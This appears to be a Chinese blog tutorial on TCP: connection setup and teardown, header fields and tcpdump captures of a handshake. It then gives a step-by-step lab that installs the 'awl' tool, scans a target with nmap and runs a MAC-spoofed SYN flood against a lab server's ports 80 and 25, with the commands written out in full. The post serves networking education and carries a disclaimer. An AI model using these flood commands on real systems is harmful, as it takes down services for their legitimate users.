这个TCP连接就是一次追女生-谈恋爱-分手,追求比分手简单,但是分手比追求复杂。哥,谈了半年的女朋友,在就快要成功了的时候分了,原因是因为有人在后面该老子背后搞SYN洪泛攻击,最后女朋友丢失了。学会TCP,教你追回你的前女友。不再为爱迷茫,是我的就是我的,别人怎么也拿不走。

Tcp  是传输层协议非常复杂的协议

1) TCP是面向连接的运输层协议,也就是说应用程序在使用TCP协议之前,必须先建立TCP连接在传输数据完成后,必须释放已经建立的TCP连接。

2) 每一条TCP连接只能有两个端点,每一条TCP连接只能是点对点(1:1)

3) TCP提供可靠交付的服务,特点:无差错、不丢失、不重复、并且按时到达

4) TCP提供全双工通信。

5) TCP面向字节流。

TCP 的连接

TCP把连接作为最基本的抽象。

TCP是一个端到端的协议,TCP的端点叫套接字或插口。

RFC793中定义:端口号拼接到IP地址即构成套接字。(套接字 socket =(IP:Port)

每一条TCP连接唯一地被通信两端的连个端点所确定。

TCP 连接 ::={socket1,socket} ={(IP1:Port1),(IP2:Port2)}

Socket(同名词代表的不同含义)

1) socket 是传输层和应用层之间的一种接口称为socket API,简称socket。

2) socketAPI中集成的函数 socket();

3) 调用socket()函数的端点称为socket,

4) 调用socket()函数时,其返回值称为socket描述符

5) 在操作系统中内核连网协议的Berkeley实现称为socket

上面这些socket 和RFC793中的不同

 

可靠传输的工作原理

 

Tcp 协议发送的报文是交给IP层传送

理想条件:

1)传输信道不产生差错

2)不管对方发送多少数据,接受方都能接收到。

1) 停止等待协议

发送数据时,发送方向接收方发送数据包,每当发送方完成一个分组数据的传输就停止发送,等待对方确认,在收到确认后再发送下一个分组。如果发生超时,发送方就会重传。

无差错情况

出现差错

出现差错时候注意三点

必须暂时保留自己发送的分组脚本,对方收到确认后才可以清除保留的副本;

超时计时器应比数据分组传输往返平均时间更长一些,

确认丢失和迟到

接受方发送的socket迟到了,

第一:丢弃这个重复的分组M1,不向上层交付,

第二: 向A发送确认。

 

2) 连续ARQ协议

滑动窗口协议比较复杂,是TCP协议的精髓所在,

数据按照分组滑动发送,然后确认向前还是向后,确认后向前继续发送,这样就完成了连续发送,和累计确认,发送方对数据做了排序就可以累计发送,提高信道利用率。接受大批量数据时如果丢包后重传数据重复量较大。

 

TCP报文段的首部格式

1)     源端口和目的端口 各占两个字节,分别写入源端口号和目的端口号。

2)     序号 4字节

3)     确认号4字节

4)     数据偏移 占4位

5)     保留  

6)     紧急URG

7)     确认ACK

8)     推送PUSH

9)     复位RST

10)  同步 SYN

11)  终止FIN

12)  窗口    2 字节

13)  检验和 2字节

14)  紧急指针 2字节

15)  选项 最大40字节

Tcp运输连接管理,运输连接是用来传送TCP报文的,tcp运输连接的建立和释放是面向连接的通信必不可少的过程。运输连接有三个阶段,连接建立,数据传送,连接释放。

在连接过程中要解决以下三个问题

(1)     确认双方相互的存在。

(2)     要允许双方协商一些参数

(3)     能够对运输实体资源进行分配。

TCP三次握手

Tcp连接采用客户模式,主动发起方为客户,被动接收方为服务器

开始,A和B 都是处于关闭状态,A主动打开连接,发送一个信号,B被动的打开连接,

B 的CTP服务进程先创建传输控制块TCB,准备接受客户进程的连接请求。然后服务器进程处于Listen状态,等待客户的连接请求。

A de TCP 客户进程也首先创建出传输控制块TCB,然后向B发送连接请求报文段,这时候,首部的SYN = 1,同时选择一个初始序号 seq=x 。TCP规定SYN报文不能携带数据(SYN=1),但是要消耗一个序号,这时,tcp客户端进入 SYN-SENT(同步已经发送)状态。

B收到连接请求报文后,如同意建立连接,则向A发送确认,再确认报文段中把SYN和ACK都置为1,确认号为ack=x+1,同时也为自己选择一个序号seq=y,请注意,这个报文段不能携带数据,,同样消耗一个序号,这样TCP服务器进程进入SYN-RECVD(同步收到)状态。

TCP客户进程收到B的确认后,还要向B给出确认,确认报文段的ACK=1 确认号ack=y+1,自己的序列号为seq=x+1.  TCP 规定此时ACK可以携带报文。在这种情况下下一个数据报的序号任然是seq=x+1,这时TCP连接已经建立,A进入ESTABLISHED(已建立连接)状态。B收到确认后也进入ESTABLISHED(已建立连接)状态。

所以,以上建立连接过程为三次握手。(three-way handshake).

四次握手协议

TCP连接释放过程比较复杂,数据传输结束后通信双方都可以关闭连接,现在处于连接状态ESTABLISHED

A 的进程连接先向其发送TCP发出连接释放报文段,并停止再发送数据,主动关闭TCP连接。A把连接释放报文段首部的终止位控制位FIN置为1,序号seq = u ,u=前面传送完成的数据的最后一个字节的序号+1.这个时候A进入FIN-WAIT-1(终止等待1)状态,等待B的确认,TCP 规定,FIN报文不准携带数据,其消耗一个序号。

B收到连接释放报文段请求后确认,确认号ack = u +1, 而这个报文段自己的序号是v,等于B前面已传送过的最后一个字符的序号+1,然后进入CLOSE-WAIT(关闭等待)状态。TCP服务器进程这时通知最高层应用进程,因此A到B方向的连接就释放了,这时的TCP连接处于半关闭(half-close)状态,即A已经没有数据需要发送了,但是B 若发送数据,A任然要接受,也就是说从B到A 方向的连接还没关闭。这个状态会持续一段时间。

A收到B 的来信后进入FIN-WAIT-2(终止等待2)状态,等待B发出的连接释放报文。

若B没有要想A发送的数据,其应用进程就通知TCP释放连接。这时B发出的连接文FIN=1.现在假定B的序号为w(在半关闭状态B可能又发送了一条数)。B还必须重复上次已发送的确认号ack= u+1.这时候B进入LAST-ACK(最后确认)状态,等待A确认。

A在接受到B的连接释放报文后,必须对此发出确认。在确认报文段追中把ACK置为1,确认号ack=w+1, 自己的序号seq = u+1。(TCP标准,前面发送过的FIN报文要消耗掉一个序号)。然后进入到TIME-WAIT(等待时间)状态。请注意现在的TCP 还没释放掉,必须经过时间等待计时器设置的2MSL后,A才进入到CLOSED状态。时间MSL叫做最长报文段寿命,RFC793 中2分钟实际没这么长,因此A进入到TIME-WAIT状态后A经过4分钟才能到CLOSE状态,才能开始建立下一个新的连接,当A撤销相应的传输控制块TCB后,就结束了这次TCP连接。

B只要收到A发送的确认,就进入CLOSE关闭状态.B在撤销相应的传输控制块TCB后,就结束了这次的TCP连接。

上述的TCP连接过程称为四次握手。

为什么两次等待必须为2MSL时间?

第一:为了保证A发送的最后一个ACK报文能够到达B

第二:防止上一节提到的“以失效的连接请求报文段”,出现在本连接中。

一,TCP三次握手及TCP连接状态

        TCP报文首部格式:

解释以上信息:

ACK: TCP协议规定,只有ACK=1时有效,连接建立后所有发送的报文ACK必须为1

SYN(SYNchronization同步):在连接建立用来同步序号。当SYN=1而ACK=0时,表明这是一个连接请求报文。对方若同意建立连接,则应在响应报文中使用SYN=1和ACK=1因此,SYN置1表示这是一个连接请求或连接接受报文。

FIN(FINIS)即完,终结的意思,用来释放一个连接。当FIN=1时,表明此报文段发送方的数据已经发送完毕,并要求释放连接。

建立TCP连接时的TCP三次握手和断开TCP连接时的4次挥手整体过程如下图:

下面进行实战:使用tcpdump抓取TCP三次握手

TCP三次握手过程:

1. 首先由Client发出请求连接即SYN=1,声明自己的序号seq=X

2.然后Server进行回复确认,即SYN=1
声明自己的序号seq=y,并设置ack=x+1

3.最后Client再进行一次确认,设置seq=x+1 ack+y+1

注:seq 序列号范围:2^32-1
 如果超过最大值,再从0开始

seq
序列号作用:依据这个序列号来组数据,如果发N个数据包,服务端会按序列号来重新组装数据

实战1:使用tcpdump抓包查看TCP三次握手过程:

tcpdump 常用参数:

-c     指定包个数

-n     ip,端口用数字方式显示

port     指定端口

Client:192.168.180.162
         server:192.168.180.163

在clent上登陆,抓取ssh远程产生的tcp三次握手包:

[root@zylei 桌面]# tcpdump port 22 -c
3 -n

tcpdump: verbose output suppressed, use
-v or -vv for full protocol decode

listening on eth0, link-type EN10MB
(Ethernet), capture size 65535 bytes

#提示一直在监听eth0

再另一个虚拟终端通过ssh连接到server端

[root@zylei 桌面]# ssh
root@192.168.180.163

root@192.168.180.163's password:

回到原来虚拟终端上来

[root@zylei 桌面]# tcpdump port 22 -c
3 -n

tcpdump: verbose output suppressed, use
-v or -vv for full protocol decode

listening on eth0, link-type EN10MB
(Ethernet), capture size 65535 bytes

10:52:18.963529 IP
192.168.180.162.40274 > 192.168.180.163.ssh: Flags [S], seq 702394658, win 14600,
options [mss 1460,sackOK,TS val 86694762 ecr 0,nop,wscale 6], length 0

10:52:18.963768 IP 192.168.180.163.ssh
> 192.168.180.162.40274: Flags [S.], seq 3287233370, ack 702394659, win 28960, options [mss 1460,sackOK,TS val 70267731 ecr
86694762,nop,wscale 7], length 0

10:52:18.963791 IP 192.168.180.162.40274
> 192.168.180.163.ssh: Flags [.], ack 1, win 229, options [nop,nop,TS val
86694762 ecr 70267731], length 0

3 packets captured

3 packets received by filter

0 packets dropped by kernel

#Flag[S]中的S表示为SYN包为1  。client主机返回ack=1
这个值为相对序号,如果想查看完整序号可以命令后面加-S

[root@zylei 桌面]# tcpdump port 22 -c
3 -n -S

tcpdump: verbose output suppressed, use
-v or -vv for full protocol decode

listening on eth0, link-type EN10MB
(Ethernet), capture size 65535 bytes

11:04:01.333723 IP 192.168.180.162.40276
> 192.168.180.163.ssh: Flags [S], seq 143195220, win 14600, options [mss
1460,sackOK,TS val 87397132 ecr 0,nop,wscale 6], length 0

11:04:01.334138 IP 192.168.180.163.ssh
> 192.168.180.162.40276: Flags [S.], seq 3639491649, ack 143195221, win
28960, options [mss 1460,sackOK,TS val 70970102 ecr 87397132,nop,wscale 7],
length 0

11:04:01.334158 IP 192.168.180.162.40276
> 192.168.180.163.ssh: Flags [.], ack 3639491650, win 229, options
[nop,nop,TS val 87397133 ecr 70970102], length 0

3 packets captured

3 packets received by filter

0 packets dropped by kernel

TCP连接状态

服务器端:LISTEN:侦听来自远方的TCP端口的连接请求

客户端:SYN-SENT:再发送连接请求后等待匹配的连接请求

服务器端:SYN-RECEIVED:再收到和发送一个连接请求后等待对方对连接请求的确认

客户端/服务器端:ESTABLISHED:代表一个打开的连接

客户端:FIN-WAIT-1:等待远程TCP连接中断请求,或先前的连接中断请求的确认

服务器端:CLOSE-WAIT:等待从本地用户发来的连接中断请求

客户端:FIN-WAIT-2:从远程TCP等待连接中断请求

服务器端:LAST-ACK:等待原来的发向远程TCP的连接中断请求的确认

客户端:TIME-WAIT:等待足够的时间以确保远程TCP接收到连接中断请求的确认

服务器端:CLOSED:没有任何连接状态

SYN洪水攻击概述:

SYN洪水攻击主要源于: tcp协议的三次握手机制

tcp协议面向链接的协议

SYN洪水攻击的过程:

在服务端返回一个确认的SYN-ACK包的时候有个潜在的弊端,如果发起的客户是一个不存在的客户端,那么服务端就不会接到客户端回应的ACK包。

这时服务端需要耗费一定的数量的系统内存来等待这个未决的连接,直到等待超关闭时间,才能施放内存。

如果恶意者通过通过ip欺骗,发送大量SYN包给受害者系统,导致服务端存在大量未决的连接并占用大量内存和tcp连接,从而导致正常客户端无法访问服务端,这就是SYN洪水攻击的过程。

3:使用awl伪装MAC对内网的服务器施实syn洪水攻击

 

实战拓扑图:

在客户机上安装awl软件进行攻击

下载地址:

https://gitlab.com/davical-project/awl/tags

上传到linux系统中

开始安装awl   0.5*之后的版本不能使用

[root@zylei ~]#tar zxvf awl-0.2.tar.gz
 #
解压

[root@zylei ~]#cd awl-0.2

[root@zylei awl-0.2]#./configure
  #
查检软件包安装环境

[root@zylei awl-0.2]#make  -j
 4   

#make  把源代码编译成可执行的二进制文件

# -j 4以4个进程同时编译,速度快

[root@zylei awl-0.2]#make install
  #
安装

查看安装的命令:

[root@zylei awl-0.2]# which awl

/usr/local/bin/awl

在xuegod64上搭建一台web服务器,模拟要被攻击的服务器

[root@carl ~]# yum install httpd -y
 #
安装web服务器

[root@carl ~]# service httpd start

开始攻击:

实战4: 在局域网中使用 awl伪装MAC地址进行多线程SYN攻击

获取对方的IP地址解析成MAC地址

[root@zylei ~]# ping 192.168.180.163

[root@zylei ~]# arp -n

Address
                 HWtype
 HWaddress
          Flags Mask
           Iface

192.168.180.163
         ether
  00:0c:29:cc:16:4d   C
                    eth0

192.168.180.220
         ether
  02:09:0f:78:d0:42   C
                    eth0

192.168.180.207
         ether
  60:a4:4c:4d:86:75   C

开始攻击:

awl参数如下:

-i 发送包的接口,如果省略默认是eth0

-m 指定目标mac地址    注:如果-m没有指定mac,默认目标MAC地址是“FF.FF.FF.FF.FF.FF”,FF.FF.FF.FF.FF.FFMAC地址是什么?

这表示向同一网段内的所有主机发出ARP广播,进行SYN攻击,还容易使整个局域网瘫痪。

-d 被攻击机器的IP

-p 被攻击机器的端口

[root@zylei ~]# awl -i eth0
-m 00:0c:29:cc:16:4d -d 192.168.180.163 -p 80

测试攻击效果:

在server (carl)上查看:发现很多伪装成公网的IP在攻击我们

[root@carl ~]# netstat -antup |grep 80

Awl 安装,以及测试攻击

一,安装:
tar -zxvf awl-0.2.tar.gz
./configure --prefix=/usr/local/awl
make 
make install

awl的执行程序安装后在/usr/local/awl/bin目录下

二,说明:
awl 的格式如下:
./awl -i eth0 -m aa:bb:cc:dd:ee:ff -d ip -p port

参数如下:
-i 发送包的接口,如果省略默认是eth0
-m 被***机器的mac地址,程序不能根据被***IP得到MAC,需要手工指定.先ping 目标IP,再arp -a就可以看到.如果省略则为ff:ff:ff:ff:ff:ff
-d 被***机器的IP
-p 被***机器的端口.

三,测试,
服务器端:Centos
  5.4
对方服务器:redhat  运行邮件服务器,sendmail

1,首先得知对方IP
运行nmap -v
-A 10.122.89.106 查看对方开了啥服务
[root@localhost bin]# nmap -v -A 10.122.89.106

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2008-06-02 19:24
CST
DNS resolution of 1 IPs took 0.39s.
Initiating SYN Stealth Scan against 10.122.89.106
[1680 ports] at 19:24
Discovered open port 21/tcp on 10.122.89.106
Discovered open port 25/tcp on 10.122.89.106
Discovered open port 22/tcp on 10.122.89.106
Discovered open port 443/tcp on 10.122.89.106
Discovered open port 80/tcp on 10.122.89.106
Discovered open port 199/tcp on 10.122.89.106
Discovered open port 110/tcp on 10.122.89.106
Discovered open port 143/tcp on 10.122.89.106
Discovered open port 3306/tcp on 10.122.89.106

得知对方开了如上端口

ping 10.122.89.106 得知mac地址
查看arp -a 得知对方IP的MAC地址

2.开始***:
./awl -i eth0 -m aa:bb:cc:dd:ee:ff -d
10.122.89.106 -p 25

ping 10.122.89.106 -t 查下对方反应

四,测试效果
***一开始,对方明显挂掉,各种应用无反应,
如下是抓包:
[root@localhost ~]# tcpdump
tcpdump: verbose output suppressed, use -v or
-vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet),
capture size 96 bytes

以上实验只用于学习TCP,严静用于违法犯罪。

不当使用,后果自负。未经博主同意不得转载。

TCP连接三次握手协议,释放连接四次挥手,以及使用 awl伪造mac地址进行多线程syn洪泛攻击。的更多相关文章

  1. TCP建立连接三次握手和释放连接四次握手

    TCP建立连接三次握手和释放连接四次握手     [转载]http://blog.csdn.net/guyuealian/article/details/52535294   在谈及TCP建立连接和释 ...

  2. 利用tcp三次握手,使用awl伪装MAC地址进行多线程SYN洪水攻击

    SYN洪水攻击概述:SYN洪水攻击主要源于: tcp协议的三次握手机制tcp协议面向链接的协议SYN洪水攻击的过程:在服务端返回一个确认的SYN-ACK包的时候有个潜在的弊端,如果发起的客户是一个不存 ...

  3. 【转】TCP建立连接三次握手和释放连接四次握手

    在谈及TCP建立连接和释放连接过程,先来简单认识一下TCP报文段首部格式的的几个名词(这里只是简单说明,具体请查看相关教程) 序列号seq:占4个字节,用来标记数据段的顺序,TCP把连接中发送的所有数 ...

  4. 如何理解TCP的三次握手协议?

    • TCP是一个面向链接的协议,任何一个面向连接的协议,我们都可以将其类比为我们最熟悉的打电话模型. 如何类比呢?我们可以从建立和销毁两个阶段分别来看这件事情. 建立连接阶段 首先,我们来看看TCP中 ...

  5. 小tips:TCP的三次握手、长连接、 短连接、 SPDY 协议

    当网络通信时采用TCP协议时,在真正的读写操作之前,server与client之间必须建立一个连接,当读写操作完成后,双方不再需要这个连接时它们可以释放这个连接,连接的建立是需要三次握手的,而释放则需 ...

  6. 最简单的理解 建立TCP连接 三次握手协议

     最简单的理解一:建立TCP连接:三次握手协议    客户端:我要对你讲话,你能听到吗:服务端:我能听到:而且我也要对你讲话,你能听到吗:客户端:我也能听到.…….互相开始通话…….. 二:关闭TCP ...

  7. TCP/IP三次握手协议

    一.简介         三次握手协议指的是在发送数据的准备阶段,服务器端和客户端之间需要进行三次交互,OSI参考模型中的网络层,在TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一 ...

  8. TCP三次握手,数据传输,四次挥手

    TCP包结构 一个TCP包结构如下: 一个TCP包主要由TCP包头和数据部分组成,包头固定部分为20字节,选项和数据部分根据实际情况设置为4N(N可以为0)字节. 1.16bit源端口和目的端口号,它 ...

  9. TCP三次握手及释放连接详解(转)

    一.TCP头部简介 ACK :即确认字符,在数据通信中,接收站发给发送站的一种传输类控制字符.表示发来的数据已确认接收无误.TCP报文格式中的控制位由6个标志比特构成,其中一个就是ACK,ACK为1表 ...

随机推荐

  1. asp.net WebService的一个简单示例

    不同的系统之间经常会需要数据的交换对接,而Web Service技术, 能使得运行在不同机器上的不同应用无须借助附加的.专门的第三方软件或硬件, 就可相互交换数据或集成.依据Web Service规范 ...

  2. python学习之老男孩python全栈第九期_day021知识点总结——包、异常处理

    一. 包 # 把解决一类问题的模块放在同一个文件夹里 -- 包 # 创建目录代码# import os# os.makedirs('glance/api')# os.makedirs('glance/ ...

  3. CodeChef SADPAIRS:Chef and Sad Pairs

    vjudge 首先显然要建立圆方树 对于每一种点建立虚树,考虑这一种点贡献,对于虚树上已经有的点就直接算 否则对虚树上的一条边 \((u, v)\),\(u\) 为父亲,假设上面连通块大小为 \(x\ ...

  4. 1142 奖学金 sort做法

    个人博客:doubleq.win 1142 奖学金 2007年NOIP全国联赛普及组  时间限制: 1 s  空间限制: 128000 KB  题目等级 : 白银 Silver 题解       题目 ...

  5. 什么是首字节时间(TTFB)

    第一字节响应时间(TTFB)=从发送请求到WEB服务器的时间+WEB服务器处理请求并生成响应花费的时间+WEB服务器生成响应到浏览器花费的时间测量第一字节响应时间(TTFB)的工具:http://ww ...

  6. PID控制算法

    PID控制算法 四轴如何起飞的原理 四轴飞行器的螺旋桨与空气发生相对运动,产生了向上的升力,当升力大于四轴的重力时四轴就可以起飞了. 四轴飞行器飞行过程中如何保持水平: 我们先假设一种理想状况:四个电 ...

  7. HDFS原理解析

    一.HDFS简介 HDFS为了做到可靠性(reliability)创建了多分数据块(data blocks)的复制(replicas),并将它们放置在服务器群的计算节点中(computer nodes ...

  8. python迭代器 生成器 三元运算 列表解析

    1.迭代器 迭代器是访问集合元素的一种方式.迭代器对象从集合的第一个元素开始访问,直到所有的元素被访问完结束.迭代器只能往前不会后退,不过这也没什么,因为人们很少在迭代途中往后退.另外,迭代器的一大优 ...

  9. 四、angularjs 如何在页面没有登录的情况下阻止用户通过更改url进入页面--$stateChangeStart

    有时候用户没有登录或者在某些情况下你是不希望用户进入页面,但是angular的路由机制可以让用户直接通过更改Url进入页面,如何处理这一问题呢? ——监控路由转换机制 $stateChangeStar ...

  10. leetcode Ch5-Linked List

    一. 1. Remove Duplicates from Sorted List II class Solution { public: ListNode* deleteDuplicates(List ...